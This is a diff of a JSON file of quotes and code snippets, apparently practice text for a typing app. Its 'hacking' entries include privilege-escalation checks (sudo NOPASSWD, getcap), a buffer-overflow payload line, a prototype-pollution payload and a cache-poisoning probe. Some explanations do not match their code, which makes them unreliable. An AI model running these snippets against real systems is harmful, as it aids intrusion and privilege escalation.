+    "content": "const port = config.port ?? process.env.PORT ?? 8080;",
+    "attribution": "JavaScript",
+    "language": "javascript",
+    "explanation": "?? falls back only on null or undefined, unlike ||, which also fires on 0 and the empty string."
   },
   {
     "category": "literature",
-    "content": "In my younger and more vulnerable years my father gave me some advice that I've been turning over in my mind ever since. Whenever you feel like criticizing anyone, he told me, just remember that all the people in this world haven't had the advantages that you've had.",
-    "attribution": "F. Scott Fitzgerald, The Great Gatsby"
-  },
-  {
-    "category": "science",
-    "content": "The Analytical Engine weaves algebraical patterns just as the Jacquard loom weaves flowers and leaves.",
-    "attribution": "Ada Lovelace"
+    "content": "To Sherlock Holmes she is always the woman. I have seldom heard him mention her under any other name. In his eyes she eclipses and predominates the whole of her sex.",
+    "attribution": "Arthur Conan Doyle, A Scandal in Bohemia"
   },
   {
-    "category": "technology",
-    "content": "Simplicity is prerequisite for reliability.",
-    "attribution": "Edsger Dijkstra"
+    "category": "anime",
+    "content": "No matter how much I struggle, there's always a price to pay for changing the past.",
+    "attribution": "Steins;Gate"
   },
   {
-    "category": "sysadmin",
-    "content": "ps -eo pid,user,rss,pcpu,comm --sort=-rss | head -12",
-    "attribution": "Processes",
-    "language": "shell",
-    "explanation": "The heaviest processes by resident memory. --sort takes a minus for descending order."
+    "category": "anime",
+    "content": "When you look at someone's kindness, it's like looking at the sun.",
+    "attribution": "Fruits Basket"
   },
   {
     "category": "programming",
-    "content": "git log -L 40,60:src/parser.rs --oneline",
-    "attribution": "Git",
-    "language": "shell",
-    "explanation": "Who last touched each line of a range, which is how you find the person to ask rather than the person to blame."
-  },
-  {
-    "category": "anime",
-    "content": "If you don't take risks, you can't create a future.",
-    "attribution": "One Piece"
+    "content": "counts = {word: text.count(word) for word in set(text.split())}",
+    "attribution": "Python",
+    "language": "python",
+    "explanation": "A dict comprehension. Note it is quadratic: count rescans the whole string per word. collections.Counter is the right tool."
   },
   {
-    "category": "sysadmin",
-    "content": "ss -ltnp | awk 'NR>1 {print $4, $6}'",
-    "attribution": "Network",
-    "language": "shell",
-    "explanation": "Listening sockets with the process behind each one. The modern replacement for netstat -tulpn."
+    "category": "philosophy",
+    "content": "All men by nature desire to know.",
+    "attribution": "Aristotle, Metaphysics"
   },
   {
     "category": "history",
-    "content": "Those who cannot remember the past are condemned to repeat it.",
-    "attribution": "George Santayana, The Life of Reason"
+    "content": "The strong do what they can and the weak suffer what they must.",
+    "attribution": "Thucydides, History of the Peloponnesian War"
   },
   {
-    "category": "history",
-    "content": "You have to make more noise than anybody else, you have to fill all the papers more than anybody else.",
-    "attribution": "Emmeline Pankhurst, 1913"
+    "category": "quotes",
+    "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life, and see if I could not learn what it had to teach, and not, when I came to die, discover that I had not lived.",
+    "attribution": "Henry David Thoreau, Walden"
   },
   {
-    "category": "literature",
-    "content": "To Sherlock Holmes she is always the woman. I have seldom heard him mention her under any other name. In his eyes she eclipses and predominates the whole of her sex.",
-    "attribution": "Arthur Conan Doyle, A Scandal in Bohemia"
+    "category": "technology",
+    "content": "We are stuck with technology when what we really want is just stuff that works.",
+    "attribution": "Douglas Adams"
   },
   {
-    "category": "hacking",
-    "content": "sudo -l 2>/dev/null | grep -E 'NOPASSWD|\\(ALL\\)'",
-    "attribution": "Post-exploitation",
+    "category": "sysadmin",
+    "content": "ls -l /proc/$PID/fd | head && cat /proc/$PID/wchan",
+    "attribution": "Processes",
     "language": "shell",
-    "explanation": "Lists what the current user may run as root. A single entry with NOPASSWD is often the whole path to root."
-  },
-  {
-    "category": "anime",
-    "content": "Humankind cannot gain anything without first giving something in return. To obtain, something of equal value must be lost.",
-    "attribution": "Fullmetal Alchemist"
+    "explanation": "What a process is actually waiting on. Reading its file descriptors and stack says more than another look at top."
   },
   {
-    "category": "movies",
-    "content": "What we do in life echoes in eternity.",
-    "attribution": "Gladiator (2000)"
+    "category": "business",
+    "content": "If you are not embarrassed by the first version of your product, you have launched too late.",
+    "attribution": "Reid Hoffman"
   },
   {
     "category": "hacking",
-    "content": "grep -rE '^[^#].*(ALL|NOPASSWD)' /etc/sudoers /etc/sudoers.d/ 2>/dev/null",
-    "attribution": "Defence",
-    "language": "shell",
-    "explanation": "Audits which accounts can escalate, and how. The answer is usually longer than anyone expects."
+    "content": "payload = b'A' * 72 + p64(0x401196) + p64(win_addr)",
+    "attribution": "Exploit dev",
+    "language": "python",
+    "explanation": "A cyclic pattern. Whatever four bytes end up in the instruction pointer tell you the exact offset to the return address."
   },
   {
     "category": "anime",
-    "content": "When you look at someone's kindness, it's like looking at the sun.",
-    "attribution": "Fruits Basket"
+    "content": "Hard work is worthless for those that don't believe in themselves.",
+    "attribution": "Naruto"
   },
   {
-    "category": "history",
-    "content": "Power concedes nothing without a demand. It never did and it never will.",
-    "attribution": "Frederick Douglass, 1857"
+    "category": "movies",
+    "content": "I love the smell of napalm in the morning.",
+    "attribution": "Apocalypse Now (1979)"
   },
   {
-    "category": "hacking",
-    "content": "curl -s 'https://target/?x=1' -H 'X-Forwarded-Scheme: nothttps' -o /dev/null -w '%{http_code} %{time_total}\\n'",
-    "attribution": "Web",
+    "category": "programming",
+    "content": "git log -L 40,60:src/parser.rs --oneline",
+    "attribution": "Git",
     "language": "shell",
-    "explanation": "Requests the same path twice with different cache-busting keys to see whether a proxy will serve one user's response to another."
+    "explanation": "Who last touched each line of a range, which is how you find the person to ask rather than the person to blame."
   },
   {
-    "category": "literature",
-    "content": "1801. I have just returned from a visit to my landlord, the solitary neighbour that I shall be troubled with. This is certainly a beautiful country. In all England, I do not believe that I could have fixed on a situation so completely removed from the stir of society.",
-    "attribution": "Emily Bronte, Wuthering Heights"
+    "category": "hacking",
+    "content": "curl -s https://target/app.js | grep -oE '\"/[a-zA-Z0-9_/-]+\"' | sort -u",
+    "attribution": "Recon",
+    "language": "shell",
+    "explanation": "Pulls every unique path a site references from its own JavaScript. Endpoints that no link points at are still endpoints."
   },
   {
-    "category": "nature",
-    "content": "When we try to pick out anything by itself, we find it hitched to everything else in the universe.",
-    "attribution": "John Muir, My First Summer in the Sierra"
+    "category": "sysadmin",
+    "content": "chmod --reference=/etc/passwd /etc/passwd.new && chown --reference=/etc/passwd /etc/passwd.new",
+    "attribution": "Permissions",
+    "language": "shell",
+    "explanation": "Copies the ownership and mode of one file onto another, rather than typing the numbers and getting them wrong."
   },
   {
     "category": "programming",
-    "content": "match result { Ok(v) => println!(\"{v}\"), Err(e) => eprintln!(\"error: {e}\") }",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "match on a Result must cover both arms - the compiler rejects it otherwise, which is how Rust stops an error going unhandled."
+    "content": "const [user, posts] = await Promise.all([getUser(id), getPosts(id)]);",
+    "attribution": "JavaScript",
+    "language": "javascript",
+    "explanation": "Promise.all runs them concurrently and rejects on the first failure; allSettled waits for every result instead."
   },
   {
-    "category": "programming",
-    "content": "export PATH=\"$HOME/.local/bin:$PATH\" && command -v rg >/dev/null || echo missing",
-    "attribution": "Shell",
+    "category": "shell",
+    "content": "sed -e 's/#.*//' -e '/^[[:space:]]*$/d' /etc/ssh/sshd_config",
+    "attribution": "sed",
     "language": "shell",
-    "explanation": "Prepending puts your own binaries ahead of the system ones. command -v is the portable test for whether something is installed."
+    "explanation": "Deletes comments and blank lines, which is how you read a config that is mostly documentation."
   },
   {
-    "category": "nature",
-    "content": "In some Native languages the term for plants translates to those who take care of us.",
-    "attribution": "Robin Wall Kimmerer, Braiding Sweetgrass"
+    "category": "movies",
+    "content": "Of all the gin joints in all the towns in all the world, she walks into mine.",
+    "attribution": "Casablanca (1942)"
   },
   {
-    "category": "programming",
-    "content": "let mut counts: HashMap<String, usize> = HashMap::new();",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "mut because inserting mutates it. The type annotation is needed here since nothing yet tells the compiler what it holds."
+    "category": "movies",
+    "content": "You're gonna need a bigger boat.",
+    "attribution": "Jaws (1975)"
   },
   {
-    "category": "business",
-    "content": "When a measure becomes a target, it ceases to be a good measure.",
-    "attribution": "Goodhart's Law"
+    "category": "hacking",
+    "content": "pacman -Qkk 2>&1 | grep -v ' 0 altered files'",
+    "attribution": "Defence",
+    "language": "shell",
+    "explanation": "Compares installed files against the package manager's own checksums. A changed system binary shows up here."
   },
   {
-    "category": "quotes",
-    "content": "That man over there says that women need to be helped into carriages, and lifted over ditches, and to have the best place everywhere. Nobody ever helps me into carriages, or over mud puddles, or gives me any best place, and ain't I a woman?",
-    "attribution": "Sojourner Truth, Ain't I a Woman?"
+    "category": "technology",
+    "content": "Any sufficiently advanced technology is indistinguishable from magic.",
+    "attribution": "Arthur C. Clarke"
   },
   {
-    "category": "anime",
-    "content": "The only thing we're allowed to do is to believe that we won't regret the choice we made.",
-    "attribution": "Attack on Titan"
+    "category": "programming",
+    "content": "squares = [n * n for n in range(1, 21) if n % 3 != 0]",
+    "attribution": "Python",
+    "language": "python",
+    "explanation": "A list comprehension: the expression, the loop, then the filter. Faster and clearer than appending in a for loop."
   },
   {
     "category": "shell",
-    "content": "awk '{print $1, $NF}' access.log",
-    "attribution": "awk",
+    "content": "sed -i 's/localhost/127.0.0.1/g' config.ini",
+    "attribution": "sed",
     "language": "shell",
-    "explanation": "awk splits each line into fields on whitespace. $1 is the first, $NF the last - so this prints the first and last column of every line."
+    "explanation": "Substitute in place. The g flag replaces every match on a line, not just the first; -i writes the file rather than printing."
   },
   {
-    "category": "shell",
-    "content": "tmp=$(mktemp -d) && trap 'rm -rf \"$tmp\"' EXIT",
-    "attribution": "Shell safety",
-    "language": "shell",
-    "explanation": "A trap on EXIT cleans up whether the script succeeded, failed or was interrupted."
+    "category": "business",
+    "content": "Organisations design systems which are copies of the communication structures of those organisations.",
+    "attribution": "Conway's Law"
   },
   {
     "category": "nature",
@@ -1105,152 +1156,138 @@
     "attribution": "Aldo Leopold, A Sand County Almanac"
   },
   {
-    "category": "literature",
-    "content": "It was on a dreary night of November that I beheld the accomplishment of my toils. With an anxiety that almost amounted to agony, I collected the instruments of life around me, that I might infuse a spark of being into the lifeless thing that lay at my feet.",
-    "attribution": "Mary Shelley, Frankenstein"
-  },
-  {
-    "category": "movies",
-    "content": "You're gonna need a bigger boat.",
-    "attribution": "Jaws (1975)"
+    "category": "nature",
+    "content": "When we try to pick out anything by itself, we find it hitched to everything else in the universe.",
+    "attribution": "John Muir, My First Summer in the Sierra"
   },
   {
-    "category": "history",
-    "content": "Injustice anywhere is a threat to justice everywhere.",
-    "attribution": "Martin Luther King Jr., Letter from Birmingham Jail, 1963"
+    "category": "general",
+    "content": "The human brain generates enough electricity to power a small light bulb. Billions of neurons firing electrical signals at once produce roughly the same wattage as a dim household lamp."
   },
   {
-    "category": "programming",
-    "content": "int *buf = malloc(len * sizeof(int)); if (!buf) return -1;",
-    "attribution": "C",
-    "language": "clike",
-    "explanation": "malloc returns NULL when it fails, and checking is not optional. sizeof(int) rather than 4 keeps it correct across platforms."
+    "category": "anime",
+    "content": "This world is rotten, and those who are making it rot deserve to die.",
+    "attribution": "Death Note"
   },
   {
-    "category": "programming",
-    "content": "fn main() { println!(\"{}\", args().skip(1).collect::<Vec<_>>().join(\" \")); }",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "skip(1) drops the program name, which is always the first argument. Vec<_> lets the compiler infer the element type."
+    "category": "hacking",
+    "content": "curl -sI https://target/login | grep -i 'set-cookie' | grep -ci 'httponly.*secure'",
+    "attribution": "Web",
+    "language": "shell",
+    "explanation": "Checks whether a session cookie carries the flags that stop JavaScript reading it and stop it crossing sites."
   },
   {
     "category": "literature",
-    "content": "There was no possibility of taking a walk that day. We had been wandering, indeed, in the leafless shrubbery an hour in the morning, but since dinner the cold winter wind had brought with it clouds so sombre, and a rain so penetrating.",
-    "attribution": "Charlotte Bronte, Jane Eyre"
+    "content": "Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do. Once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it.",
+    "attribution": "Lewis Carroll, Alice's Adventures in Wonderland"
   },
   {
-    "category": "business",
-    "content": "The essence of strategy is choosing what not to do.",
-    "attribution": "Michael Porter"
+    "category": "general",
+    "content": "The invention of the printing press in the fifteenth century transformed how knowledge spread across Europe. Books that once took months to copy by hand could suddenly be reproduced by the hundreds, making literacy far more accessible."
   },
   {
-    "category": "programming",
-    "content": "groups = defaultdict(list); [groups[w[0]].append(w) for w in words]",
-    "attribution": "Python",
-    "language": "python",
-    "explanation": "defaultdict removes the exists-check before every append, which is the most common shape of a grouping loop."
+    "category": "business",
+    "content": "Price is what you pay. Value is what you get.",
+    "attribution": "Warren Buffett"
   },
   {
-    "category": "programming",
-    "content": "EXPLAIN ANALYZE SELECT * FROM test_results WHERE mode_key = 'time-30' ORDER BY wpm DESC LIMIT 50;",
-    "attribution": "SQL",
-    "language": "clike",
-    "explanation": "EXPLAIN ANALYZE runs the query and reports what the planner actually did, not what it guessed it would do."
+    "category": "anime",
+    "content": "Once you've met someone, you never really forget them.",
+    "attribution": "Spirited Away"
   },
   {
-    "category": "philosophy",
-    "content": "The beginning is the most important part of the work.",
-    "attribution": "Plato, The Republic"
+    "category": "technology",
+    "content": "The human mind operates by association. With one item in its grasp, it snaps instantly to the next that is suggested.",
+    "attribution": "Vannevar Bush, As We May Think"
   },
   {
-    "category": "nature",
-    "content": "The mountains are calling and I must go.",
-    "attribution": "John Muir"
+    "category": "hacking",
+    "content": "curl -s 'https://target/?x=1' -H 'X-Forwarded-Scheme: nothttps' -o /dev/null -w '%{http_code} %{time_total}\\n'",
+    "attribution": "Web",
+    "language": "shell",
+    "explanation": "Requests the same path twice with different cache-busting keys to see whether a proxy will serve one user's response to another."
   },
   {
-    "category": "philosophy",
-    "content": "The Socratic method uses a series of questions and answers to expose contradictions in a person's beliefs, encouraging deeper critical thinking rather than simply providing answers."
+    "category": "shell",
+    "content": "sed -n '10,20p' large.log",
+    "attribution": "sed",
+    "language": "shell",
+    "explanation": "Prints only lines 10 to 20. -n suppresses the default print, and p prints the range that matched."
   },
   {
-    "category": "anime",
-    "content": "Even if you can't see it, the river keeps flowing under the ice.",
-    "attribution": "March Comes in Like a Lion"
+    "category": "movies",
+    "content": "A census taker once tried to test me. I ate his liver with some fava beans and a nice chianti.",
+    "attribution": "The Silence of the Lambs (1991)"
   },
   {
-    "category": "sysadmin",
-    "content": "tar czf - /var/www | ssh backup 'cat > www-$(date +%F).tar.gz'",
-    "attribution": "Backup",
+    "category": "hacking",
+    "content": "journalctl -u sshd -f | grep -Ei 'failed|invalid user'",
+    "attribution": "Defence",
     "language": "shell",
-    "explanation": "Streams a directory to another host without a temporary archive on either side."
+    "explanation": "Watches authentication failures as they happen. Most intrusions are visible in logs long before they are noticed."
   },
   {
-    "category": "anime",
-    "content": "The only ones who should kill are those who are prepared to be killed.",
-    "attribution": "Code Geass"
+    "category": "nature",
+    "content": "Those who contemplate the beauty of the earth find reserves of strength that will endure as long as life lasts.",
+    "attribution": "Rachel Carson, The Sense of Wonder"
   },
   {
     "category": "shell",
-    "content": "cut -f2 data.tsv | paste -sd, -",
+    "content": "mount | column -t | grep -v tmpfs",
     "attribution": "Text processing",
     "language": "shell",
-    "explanation": "paste joins lines side by side; -s -d joins them all into one line with the chosen separator."
-  },
-  {
-    "category": "movies",
-    "content": "I'm as mad as hell, and I'm not going to take this anymore.",
-    "attribution": "Network (1976)"
+    "explanation": "column formats whitespace-separated input into aligned columns, which makes an unreadable log readable."
   },
   {
-    "category": "literature",
-    "content": "Christmas won't be Christmas without any presents, grumbled Jo, lying on the rug. It's so dreadful to be poor, sighed Meg, looking down at her old dress.",
-    "attribution": "Louisa May Alcott, Little Women"
+    "category": "philosophy",
+    "content": "The only true wisdom is in knowing you know nothing.",
+    "attribution": "Socrates"
   },
   {
-    "category": "general",
-    "content": "The invention of the printing press in the fifteenth century transformed how knowledge spread across Europe. Books that once took months to copy by hand could suddenly be reproduced by the hundreds, making literacy far more accessible."
+    "category": "sysadmin",
+    "content": "ps -eo pid,user,rss,pcpu,comm --sort=-rss | head -12",
+    "attribution": "Processes",
+    "language": "shell",
+    "explanation": "The heaviest processes by resident memory. --sort takes a minus for descending order."
   },
   {
-    "category": "nature",
-    "content": "It seems to me that the natural world is the greatest source of excitement, of visual beauty, of intellectual interest.",
-    "attribution": "David Attenborough"
+    "category": "history",
+    "content": "Those who cannot remember the past are condemned to repeat it.",
+    "attribution": "George Santayana, The Life of Reason"
   },
   {
-    "category": "sysadmin",
-    "content": "du -xh --max-depth=1 / 2>/dev/null | sort -rh | head -15",
-    "attribution": "Disk",
-    "language": "shell",
-    "explanation": "Largest directories at this level, human readable. -x stays on one filesystem so it does not wander into /proc or a mount."
+    "category": "history",
+    "content": "We must always take sides. Neutrality helps the oppressor, never the victim. Silence encourages the tormentor.",
+    "attribution": "Elie Wiesel, 1986"
   },
   {
-    "category": "movies",
-    "content": "Do. Or do not. There is no try.",
-    "attribution": "The Empire Strikes Back (1980)"
+    "category": "hacking",
+    "content": "JSON.parse('{\"__proto__\": {\"isAdmin\": true}}')",
+    "attribution": "Web",
+    "language": "javascript",
+    "explanation": "Prototype pollution: writing through __proto__ reaches every object that inherits from it."
   },
   {
-    "category": "sysadmin",
-    "content": "systemctl --failed --no-pager",
-    "attribution": "systemd",
-    "language": "shell",
-    "explanation": "Lists units that failed at boot. The first thing to run on a machine that came up wrong."
+    "category": "technology",
+    "content": "We have modified our environment so radically that we must now modify ourselves to exist in this new environment.",
+    "attribution": "Norbert Wiener"
   },
   {
-    "category": "movies",
-    "content": "Of all the gin joints in all the towns in all the world, she walks into mine.",
-    "attribution": "Casablanca (1942)"
+    "category": "anime",
+    "content": "Whatever happens, happens.",
+    "attribution": "Cowboy Bebop"
   },
   {
-    "category": "programming",
-    "content": "for f in *.log; do gzip -9 \"$f\" && echo \"packed $f\"; done",
-    "attribution": "Shell",
+    "category": "hacking",
+    "content": "curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sort -u",
+    "attribution": "Recon",
     "language": "shell",
-    "explanation": "The quotes around $f matter: without them a filename containing a space becomes two arguments."
+    "explanation": "Certificate transparency logs list every name a CA has issued for a domain, including hosts that were never meant to be public."
   },
   {
-    "category": "shell",
-    "content": "awk -F: '{print $1, $7}' /etc/passwd",
-    "attribution": "awk",
-    "language": "shell",
-    "explanation": "-F sets the field separator. This reads /etc/passwd and prints the username and shell, which are fields 1 and 7."
+    "category": "history",
+    "content": "I could work as much and eat as much as a man, when I could get it, and bear the lash as well. And ain't I a woman?",
+    "attribution": "Sojourner Truth, 1851"
   },
   {
     "category": "history",
@@ -1258,135 +1295,156 @@
     "attribution": "Winston Churchill, 1940"
   },
   {
-    "category": "shell",
-    "content": "awk '$9 == 404 {print $7}' access.log | sort | uniq -c | sort -rn",
-    "attribution": "awk",
-    "language": "shell",
-    "explanation": "A pattern before the block acts as a filter: only lines whose 9th field is 404 are printed. No grep needed."
+    "category": "literature",
+    "content": "It was on a dreary night of November that I beheld the accomplishment of my toils. With an anxiety that almost amounted to agony, I collected the instruments of life around me, that I might infuse a spark of being into the lifeless thing that lay at my feet.",
+    "attribution": "Mary Shelley, Frankenstein"
   },
   {
-    "category": "literature",
-    "content": "Mr. Sherlock Holmes, who was usually very late in the mornings, save upon those not infrequent occasions when he was up all night, was seated at the breakfast table.",
-    "attribution": "Arthur Conan Doyle, The Hound of the Baskervilles"
+    "category": "programming",
+    "content": "groups = defaultdict(list); [groups[w[0]].append(w) for w in words]",
+    "attribution": "Python",
+    "language": "python",
+    "explanation": "defaultdict removes the exists-check before every append, which is the most common shape of a grouping loop."
   },
   {
-    "category": "shell",
-    "content": "awk '{sum += $3} END {print sum, sum/NR}' numbers.txt",
-    "attribution": "awk",
-    "language": "shell",
-    "explanation": "Sums a column and prints the average. END runs after the last line, so NR is the total row count by then."
+    "category": "science",
+    "content": "The good thing about science is that it's true whether or not you believe in it.",
+    "attribution": "Neil deGrasse Tyson"
   },
   {
-    "category": "business",
-    "content": "Every moment in business happens only once. The next Bill Gates will not build an operating system.",
-    "attribution": "Peter Thiel, Zero to One"
+    "category": "movies",
+    "content": "We used to look up at the sky and wonder at our place in the stars. Now we just look down and worry about our place in the dirt.",
+    "attribution": "Interstellar (2014)"
   },
   {
-    "category": "history",
-    "content": "The world will little note nor long remember what we say here, but it can never forget what they did here.",
-    "attribution": "Abraham Lincoln, Gettysburg Address, 1863"
+    "category": "science",
+    "content": "The Analytical Engine weaves algebraical patterns just as the Jacquard loom weaves flowers and leaves.",
+    "attribution": "Ada Lovelace"
   },
   {
-    "category": "nature",
-    "content": "Those who contemplate the beauty of the earth find reserves of strength that will endure as long as life lasts.",
-    "attribution": "Rachel Carson, The Sense of Wonder"
+    "category": "anime",
+    "content": "The only thing we're allowed to do is to believe that we won't regret the choice we made.",
+    "attribution": "Attack on Titan"
+  },
+  {
+    "category": "hacking",
+    "content": "free(ptr); ptr->next = head; /* use after free: the block may belong to someone else now */",
+    "attribution": "Memory safety",
+    "language": "clike",
+    "explanation": "Freed then used. The allocator may hand that block to something else between the two lines, so the write lands in another object."
   },
   {
     "category": "philosophy",
-    "content": "Existentialism explores questions about individual freedom, choice, and meaning, arguing that people must create their own purpose in a universe that does not provide one automatically."
+    "content": "Utilitarianism holds that the right action is the one that produces the greatest good for the greatest number of people, judging morality by outcomes rather than intentions."
   },
   {
-    "category": "hacking",
-    "content": "curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sort -u",
-    "attribution": "Recon",
+    "category": "nature",
+    "content": "No one will protect what they don't care about, and no one will care about what they have never experienced.",
+    "attribution": "David Attenborough"
+  },
+  {
+    "category": "programming",
+    "content": "for f in *.log; do gzip -9 \"$f\" && echo \"packed $f\"; done",
+    "attribution": "Shell",
     "language": "shell",
-    "explanation": "Certificate transparency logs list every name a CA has issued for a domain, including hosts that were never meant to be public."
+    "explanation": "The quotes around $f matter: without them a filename containing a space becomes two arguments."
   },
   {
-    "category": "science",
-    "content": "What we observe is not nature itself, but nature exposed to our method of questioning.",
-    "attribution": "Werner Heisenberg"
+    "category": "sysadmin",
+    "content": "lsof +L1 2>/dev/null | awk '$7 > 100000000 {print $1, $7, $NF}'",
+    "attribution": "Disk",
+    "language": "shell",
+    "explanation": "Finds space held by deleted files that a process still has open. Deleting the file does not free the space until the handle closes."
   },
   {
     "category": "shell",
-    "content": "sed -n '10,20p' large.log",
-    "attribution": "sed",
+    "content": "tr -cs '[:alpha:]' '\\n' < book.txt | tr 'A-Z' 'a-z' | sort | uniq -c | sort -rn | head -20",
+    "attribution": "Pipelines",
     "language": "shell",
-    "explanation": "Prints only lines 10 to 20. -n suppresses the default print, and p prints the range that matched."
+    "explanation": "The classic word-frequency pipeline: split to one word per line, fold case, sort so duplicates are adjacent, count runs, order by count."
   },
   {
-    "category": "science",
-    "content": "I would rather have questions that can't be answered than answers that can't be questioned.",
-    "attribution": "Richard Feynman"
+    "category": "quotes",
+    "content": "If there is no struggle, there is no progress. Those who profess to favor freedom, and yet depreciate agitation, are men who want crops without plowing up the ground.",
+    "attribution": "Frederick Douglass"
   },
   {
-    "category": "movies",
-    "content": "You mustn't be afraid to dream a little bigger, darling.",
-    "attribution": "Inception (2010)"
+    "category": "anime",
+    "content": "What I want more than anything is for you to live and help me live too.",
+    "attribution": "A Silent Voice"
   },
   {
-    "category": "general",
-    "content": "Octopuses have three hearts and blue blood. Two of the hearts pump blood to the gills, while the third circulates it to the rest of the body, and the blue color comes from a copper-based protein instead of iron."
+    "category": "science",
+    "content": "In the fields of observation chance favours only the prepared mind.",
+    "attribution": "Louis Pasteur"
   },
   {
-    "category": "shell",
-    "content": "awk '!seen[$0]++' file.txt",
-    "attribution": "awk",
-    "language": "shell",
-    "explanation": "Deduplicate without sorting, preserving original order. The array records what has been seen; !seen[$0]++ is true only the first time."
+    "category": "quotes",
+    "content": "The only limit to our realization of tomorrow is our doubts of today.",
+    "attribution": "Franklin D. Roosevelt"
   },
   {
-    "category": "literature",
-    "content": "Not all those who wander are lost.",
-    "attribution": "J.R.R. Tolkien"
+    "category": "history",
+    "content": "The only thing we have to fear is fear itself: nameless, unreasoning, unjustified terror.",
+    "attribution": "Franklin D. Roosevelt, 1933"
   },
   {
     "category": "science",
-    "content": "Imagination is more important than knowledge. Knowledge is limited. Imagination encircles the world.",
-    "attribution": "Albert Einstein"
+    "content": "The great tragedy of science: the slaying of a beautiful hypothesis by an ugly fact.",
+    "attribution": "Thomas Huxley"
   },
   {
-    "category": "anime",
-    "content": "If you win, you live. If you lose, you die. If you don't fight, you can't win.",
-    "attribution": "Attack on Titan"
+    "category": "sysadmin",
+    "content": "systemctl --failed --no-pager",
+    "attribution": "systemd",
+    "language": "shell",
+    "explanation": "Lists units that failed at boot. The first thing to run on a machine that came up wrong."
   },
   {
-    "category": "science",
-    "content": "The whole history of science has been the gradual realisation that events do not happen in an arbitrary manner.",
-    "attribution": "Stephen Hawking, A Brief History of Time"
+    "category": "shell",
+    "content": "tmp=$(mktemp -d) && trap 'rm -rf \"$tmp\"' EXIT",
+    "attribution": "Shell safety",
+    "language": "shell",
+    "explanation": "A trap on EXIT cleans up whether the script succeeded, failed or was interrupted."
   },
   {
-    "category": "general",
-    "content": "Antarctica is technically the largest desert on the planet. Despite being covered in ice, it receives very little precipitation each year, which is the defining characteristic of a desert rather than temperature alone."
+    "category": "business",
+    "content": "A wealth of information creates a poverty of attention.",
+    "attribution": "Herbert Simon"
   },
   {
-    "category": "hacking",
-    "content": "openssl s_client -connect target:443 -servername target < /dev/null | openssl x509 -noout -text",
-    "attribution": "Crypto",
+    "category": "shell",
+    "content": "set -euo pipefail",
+    "attribution": "Shell safety",
     "language": "shell",
-    "explanation": "Reads the certificate a host presents. Expiry dates and hostname mismatches are found here, not in a browser warning."
+    "explanation": "The unofficial strict mode: exit on error, exit on undefined variable, and fail a pipeline if any stage fails rather than only the last."
   },
   {
-    "category": "movies",
-    "content": "We used to look up at the sky and wonder at our place in the stars. Now we just look down and worry about our place in the dirt.",
-    "attribution": "Interstellar (2014)"
+    "category": "nature",
+    "content": "The earth is what we all have in common.",
+    "attribution": "Wendell Berry"
   },
   {
-    "category": "technology",
-    "content": "All problems in computer science can be solved by another level of indirection.",
-    "attribution": "Butler Lampson"
+    "category": "shell",
+    "content": "grep -oE '[0-9]{1,3}(\\.[0-9]{1,3}){3}' access.log | sort -u | wc -l",
+    "attribution": "Text processing",
+    "language": "shell",
+    "explanation": "grep -o prints only the match, one per line, which turns a search into a stream you can count."
   },
   {
-    "category": "programming",
-    "content": "const { id, name = 'anonymous', ...rest } = await request.json();",
-    "attribution": "JavaScript",
-    "language": "javascript",
-    "explanation": "Destructuring with a default and a rest property. The default applies only when the value is undefined, not when it is null."
+    "category": "literature",
+    "content": "The studio was filled with the rich odour of roses, and when the light summer wind stirred amidst the trees of the garden, there came through the open door the heavy scent of the lilac, or the more delicate perfume of the pink-flowering thorn.",
+    "attribution": "Oscar Wilde, The Picture of Dorian Gray"
   },
   {
-    "category": "science",
-    "content": "Nothing in life is to be feared, it is only to be understood. Now is the time to understand more, so that we may fear less.",
-    "attribution": "Marie Curie"
+    "category": "movies",
+    "content": "Do. Or do not. There is no try.",
+    "attribution": "The Empire Strikes Back (1980)"
+  },
+  {
+    "category": "literature",
+    "content": "It is a truth universally acknowledged, that a single man in possession of a good fortune, must be in want of a wife. However little known the feelings or views of such a man may be on his first entering a neighbourhood, this truth is so well fixed in the minds of the surrounding families.",
+    "attribution": "Jane Austen, Pride and Prejudice"
   },
   {
     "category": "sysadmin",
@@ -1396,216 +1454,218 @@
     "explanation": "Traces the system calls a command makes, with a count and timing summary rather than a wall of output."
   },
   {
-    "category": "technology",
-    "content": "Any sufficiently advanced technology is indistinguishable from magic.",
-    "attribution": "Arthur C. Clarke"
+    "category": "hacking",
+    "content": "iptables -P INPUT DROP && iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT",
+    "attribution": "Defence",
+    "language": "shell",
+    "explanation": "Blocks everything inbound by default and allows what is needed back. A deny-by-default policy is the only kind worth writing."
   },
   {
     "category": "technology",
-    "content": "The human mind operates by association. With one item in its grasp, it snaps instantly to the next that is suggested.",
-    "attribution": "Vannevar Bush, As We May Think"
-  },
-  {
-    "category": "sysadmin",
-    "content": "rsync -avhn --delete /src/ /dest/",
-    "attribution": "Backup",
-    "language": "shell",
-    "explanation": "Mirrors a tree, deletes what no longer exists on the source, and shows what it would do first. Never run this without -n the first time."
+    "content": "Plan to throw one away; you will, anyhow.",
+    "attribution": "Fred Brooks, The Mythical Man-Month"
   },
   {
-    "category": "quotes",
-    "content": "You have power over your mind, not outside events. Realize this, and you will find strength.",
-    "attribution": "Marcus Aurelius, Meditations"
+    "category": "technology",
+    "content": "We shape our tools, and thereafter our tools shape us.",
+    "attribution": "Marshall McLuhan"
   },
   {
-    "category": "hacking",
-    "content": "getcap -r / 2>/dev/null | grep -E 'cap_(setuid|dac_override|sys_admin)'",
-    "attribution": "Post-exploitation",
+    "category": "shell",
+    "content": "cut -d' ' -f1 access.log | sort | uniq -c | sort -rn | head",
+    "attribution": "Pipelines",
     "language": "shell",
-    "explanation": "Capabilities are finer-grained than setuid but grant real power. cap_setuid on an interpreter is root."
+    "explanation": "uniq only collapses adjacent duplicates, which is why sort comes first. -c counts, and the second sort orders by that count."
   },
   {
-    "category": "literature",
-    "content": "The year 1866 was signalised by a remarkable incident, a mysterious and inexplicable phenomenon, which doubtless no one has yet forgotten. Ships had met with a huge thing, a long object, spindle-shaped, and at times phosphorescent.",
-    "attribution": "Jules Verne, Twenty Thousand Leagues Under the Sea"
+    "category": "science",
